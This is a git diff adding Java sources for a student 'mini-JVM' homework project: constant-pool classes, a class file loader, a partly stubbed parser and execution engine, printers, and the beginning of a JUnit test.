+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);		
+	}
+	
+	
+	
+}
diff --git a/group24/Homework/8-EighthWeek/constant/NameAndTypeInfo.java b/group24/Homework/8-EighthWeek/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..5cbbba6033
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/constant/NameAndTypeInfo.java
@@ -0,0 +1,51 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/constant/NullConstantInfo.java b/group24/Homework/8-EighthWeek/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..41e0fd7e7a
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/constant/NullConstantInfo.java
@@ -0,0 +1,17 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+				
+	}
+	
+}
diff --git a/group24/Homework/8-EighthWeek/constant/StringInfo.java b/group24/Homework/8-EighthWeek/constant/StringInfo.java
new file mode 100644
index 0000000000..6bfcb47273
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/constant/StringInfo.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
+	
+}
diff --git a/group24/Homework/8-EighthWeek/constant/UTF8Info.java b/group24/Homework/8-EighthWeek/constant/UTF8Info.java
new file mode 100644
index 0000000000..7db88a939e
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/constant/UTF8Info.java
@@ -0,0 +1,37 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+		
+	}
+	
+	
+
+}
diff --git a/group24/Homework/8-EighthWeek/engine/ExecutionResult.java b/group24/Homework/8-EighthWeek/engine/ExecutionResult.java
new file mode 100644
index 0000000000..8f6c51e52a
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/engine/ExecutionResult.java
@@ -0,0 +1,56 @@
+package com.coderising.jvm.engine;
+
+import com.coderising.jvm.method.Method;
+
+public class ExecutionResult {
+	public static final int RUN_NEXT_CMD = 1;
+	public static final int JUMP = 2;
+	public static final int EXIT_CURRENT_FRAME = 3;
+	public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+	
+	private int nextAction = RUN_NEXT_CMD; 
+	
+	private int nextCmdOffset = 0;
+	
+	private Method nextMethod;
+	
+	public Method getNextMethod() {
+		return nextMethod;
+	}
+	public void setNextMethod(Method nextMethod) {
+		this.nextMethod = nextMethod;
+	}
+
+	
+	
+	public void setNextAction(int action){
+		this.nextAction = action;
+	}
+	public boolean isPauseAndRunNewFrame(){
+		return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+	}
+	public boolean isExitCurrentFrame(){
+		return this.nextAction == EXIT_CURRENT_FRAME;
+	}
+	
+	public boolean isRunNextCmd(){
+		return this.nextAction == RUN_NEXT_CMD;
+	}
+	
+	public boolean isJump(){
+		return this.nextAction == JUMP;
+	}
+	
+	public int getNextCmdOffset() {
+		return nextCmdOffset;
+	}
+
+	public void setNextCmdOffset(int nextCmdOffset) {
+		this.nextCmdOffset = nextCmdOffset;
+	}
+	
+	
+	
+	
+
+}
diff --git a/group24/Homework/8-EighthWeek/engine/ExecutorEngine.java b/group24/Homework/8-EighthWeek/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..5d6b582879
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/engine/ExecutorEngine.java
@@ -0,0 +1,35 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.method.Method;
+
+public class ExecutorEngine {
+
+	private Stack<StackFrame> stack = new Stack<StackFrame>();
+	
+	public ExecutorEngine() {
+		
+	}
+	
+	public void execute(Method mainMethod){
+		
+		
+		
+	}
+	
+	
+	
+	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
+		
+		
+		
+	}
+	
+}
diff --git a/group24/Homework/8-EighthWeek/engine/Heap.java b/group24/Homework/8-EighthWeek/engine/Heap.java
new file mode 100644
index 0000000000..82ad210cef
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/engine/Heap.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.engine;
+
+public class Heap {
+	
+	/**
+	 * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
+	 */
+	
+	private static Heap instance = new Heap();
+	private Heap() {		
+	}
+	public static Heap getInstance(){
+		return instance;
+	}
+	public JavaObject newObject(String clzName){
+		
+		JavaObject jo = new JavaObject(JavaObject.OBJECT);
+		jo.setClassName(clzName);
+		return jo;
+	}
+	
+	public JavaObject newString(String value){
+		JavaObject jo = new JavaObject(JavaObject.STRING);
+		jo.setStringValue(value);
+		return jo;
+	}
+	
+	public JavaObject newFloat(float value){
+		JavaObject jo = new JavaObject(JavaObject.FLOAT);
+		jo.setFloatValue(value);
+		return jo;
+	}
+	public JavaObject newInt(int value){
+		JavaObject jo = new JavaObject(JavaObject.INT);
+		jo.setIntValue(value);
+		return jo;
+	}
+
+}
diff --git a/group24/Homework/8-EighthWeek/engine/JavaObject.java b/group24/Homework/8-EighthWeek/engine/JavaObject.java
new file mode 100644
index 0000000000..71ba382d9a
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/engine/JavaObject.java
@@ -0,0 +1,71 @@
+package com.coderising.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class JavaObject {
+	public static final int OBJECT = 1;
+	public static final int STRING = 2;
+	public static final int INT = 3;
+	public static final int FLOAT = 4;
+	
+	int type;
+	private String className;
+	
+	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
+	
+	private String stringValue;
+	
+	private int intValue;
+	
+	private float floatValue;
+	
+	public void setFieldValue(String fieldName, JavaObject fieldValue){
+		fieldValues.put(fieldName, fieldValue);
+	}
+	public JavaObject(int type){
+		this.type = type;
+	}
+	public void setClassName(String className){
+		this.className = className;
+	}
+	public void setStringValue(String value){
+		stringValue = value;
+	}
+	public String getStringValue(){
+		return this.stringValue;
+	}
+	public void setIntValue(int value) {
+		this.intValue = value;		
+	}
+	public int getIntValue(){
+		return this.intValue;
+	}
+	public int getType(){
+		return type;
+	}
+	public JavaObject getFieldValue(String fieldName){
+		return this.fieldValues.get(fieldName);
+	}
+	public String toString(){
+		switch(this.getType()){
+		case INT: 
+			return String.valueOf(this.intValue);
+		case STRING:
+			return this.stringValue;
+		case OBJECT:
+			return this.className +":"+ this.fieldValues;
+		case FLOAT :
+			return String.valueOf(this.floatValue);
+		default:
+			return null;
+		}
+	}
+	public String getClassName(){
+		return this.className;
+	}
+	public void setFloatValue(float value) {
+		this.floatValue = value;		
+	}
+
+}
diff --git a/group24/Homework/8-EighthWeek/engine/MethodArea.java b/group24/Homework/8-EighthWeek/engine/MethodArea.java
new file mode 100644
index 0000000000..781e81acf1
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/engine/MethodArea.java
@@ -0,0 +1,68 @@
+package com.coderising.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+public class MethodArea {
+	
+	public static final MethodArea instance = new MethodArea();
+	
+	/**
+	 * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
+	 */
+	
+	private ClassFileLoader clzLoader = null;
+	
+	Map<String,ClassFile> map = new HashMap<String,ClassFile>();
+	
+	private MethodArea(){		
+	}
+	
+	public static MethodArea getInstance(){
+		return instance;
+	}
+	
+	public void setClassFileLoader(ClassFileLoader clzLoader){
+		this.clzLoader = clzLoader;
+	}
+	
+	public Method getMainMethod(String className){
+		
+		ClassFile clzFile = this.findClassFile(className);
+		
+		return clzFile.getMainMethod();
+	}
+	
+	
+	public  ClassFile findClassFile(String className){
+		
+		if(map.get(className) != null){
+			return map.get(className);
+		}
+		// 看来该class 文件还没有load过
+		ClassFile clzFile = this.clzLoader.loadClass(className);
+		
+		map.put(className, clzFile);
+		
+		return clzFile;
+		
+	}
+	
+	
+	public Method getMethod(String className, String methodName, String paramAndReturnType){
+		
+		return null;
+	}
+	
+	
+	public Method getMethod(MethodRefInfo methodRef){		
+		
+		return null;
+			
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/engine/MiniJVM.java b/group24/Homework/8-EighthWeek/engine/MiniJVM.java
new file mode 100644
index 0000000000..443524cc5f
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/engine/MiniJVM.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.engine;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+public class MiniJVM {
+	
+	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException{
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		for(int i=0;i<classPaths.length ; i++){
+			loader.addClassPath(classPaths[i]);
+		}
+		
+		MethodArea methodArea= MethodArea.getInstance();
+		
+		methodArea.setClassFileLoader(loader);
+		
+		ExecutorEngine engine = new ExecutorEngine();
+		
+		className = className.replace(".", "/");
+		
+		engine.execute(methodArea.getMainMethod(className));
+	}
+	
+}
diff --git a/group24/Homework/8-EighthWeek/engine/StackFrame.java b/group24/Homework/8-EighthWeek/engine/StackFrame.java
new file mode 100644
index 0000000000..5ac8768316
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/engine/StackFrame.java
@@ -0,0 +1,95 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.method.Method;
+
+public class StackFrame {
+	
+	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+	
+	int index = 0;
+	
+	private Method m = null;
+	
+	private StackFrame callerFrame = null;
+	
+	public StackFrame getCallerFrame() {
+		return callerFrame;
+	}
+
+	public void setCallerFrame(StackFrame callerFrame) {
+		this.callerFrame = callerFrame;
+	}
+
+	
+	
+	
+	public static  StackFrame create(Method m){
+		
+		StackFrame frame = new StackFrame( m );			
+		
+		return frame;
+	}
+
+	
+	private StackFrame(Method m) {		
+		this.m = m;
+		
+	}
+	
+	
+	
+	public JavaObject getLocalVariableValue(int index){
+		return this.localVariableTable.get(index);
+	}
+	
+	public Stack<JavaObject> getOprandStack(){
+		return this.oprandStack;
+	}
+	
+	public int getNextCommandIndex(int offset){
+		
+		ByteCodeCommand [] cmds = m.getCodeAttr().getCmds();
+		for(int i=0;i<cmds.length; i++){
+			if(cmds[i].getOffset() == offset){
+				return i;
+			}
+		}
+		throw new RuntimeException("Can't find next command");
+	}
+	
+	public ExecutionResult execute(){
+		return null;
+		
+	}
+
+	
+	
+	
+	public void setLocalVariableTable(List<JavaObject> values){
+		this.localVariableTable = values;	
+	}
+	
+	public void setLocalVariableValue(int index, JavaObject jo){
+		//问题： 为什么要这么做？？
+		if(this.localVariableTable.size()-1 < index){
+			for(int i=this.localVariableTable.size(); i<=index; i++){
+				this.localVariableTable.add(null);
+			}
+		}
+		this.localVariableTable.set(index, jo);
+		
+		
+	}
+	
+	public Method getMethod(){
+		return m;
+	}
+	
+
+}
diff --git a/group24/Homework/8-EighthWeek/field/Field.java b/group24/Homework/8-EighthWeek/field/Field.java
new file mode 100644
index 0000000000..c6eb0196f8
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/field/Field.java
@@ -0,0 +1,50 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		//System.out.println("field attribute count:"+ attribCount);
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		
+		if(attribCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+
+}
diff --git a/group24/Homework/8-EighthWeek/loader/ByteCodeIterator.java b/group24/Homework/8-EighthWeek/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..6fb5570dff
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/loader/ByteCodeIterator.java
@@ -0,0 +1,57 @@
+package com.coderising.jvm.loader;
+
+import java.util.Arrays;
+
+import com.coderising.jvm.util.Util;
+
+public  class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+
+	ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/loader/ClassFileLoader.java b/group24/Homework/8-EighthWeek/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..33185d8175
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/loader/ClassFileLoader.java
@@ -0,0 +1,140 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group24/Homework/8-EighthWeek/loader/ClassFileParser.java b/group24/Homework/8-EighthWeek/loader/ClassFileParser.java
new file mode 100644
index 0000000000..a29d9572cd
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/loader/ClassFileParser.java
@@ -0,0 +1,62 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		
+		
+		
+		return null;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		return null;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		return null;
+	}
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+
+	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
+		
+
+	}
+
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+
+		
+
+	}
+	
+}
diff --git a/group24/Homework/8-EighthWeek/method/Method.java b/group24/Homework/8-EighthWeek/method/Method.java
new file mode 100644
index 0000000000..b86c57ef90
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/method/Method.java
@@ -0,0 +1,80 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+	
+	
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		return null;
+		
+	}
+
+	public ByteCodeCommand[] getCmds() {		
+		return this.getCodeAttr().getCmds();
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/print/ClassFilePrinter.java b/group24/Homework/8-EighthWeek/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..14407bacbe
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/print/ClassFilePrinter.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/print/ConstantPoolPrinter.java b/group24/Homework/8-EighthWeek/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..028161adc7
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/print/ConstantPoolPrinter.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		
+		
+		
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/test/ClassFileloaderTest.java b/group24/Homework/8-EighthWeek/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..5657310e0d
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/test/ClassFileloaderTest.java
@@ -0,0 +1,354 @@
+package com.coderising.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
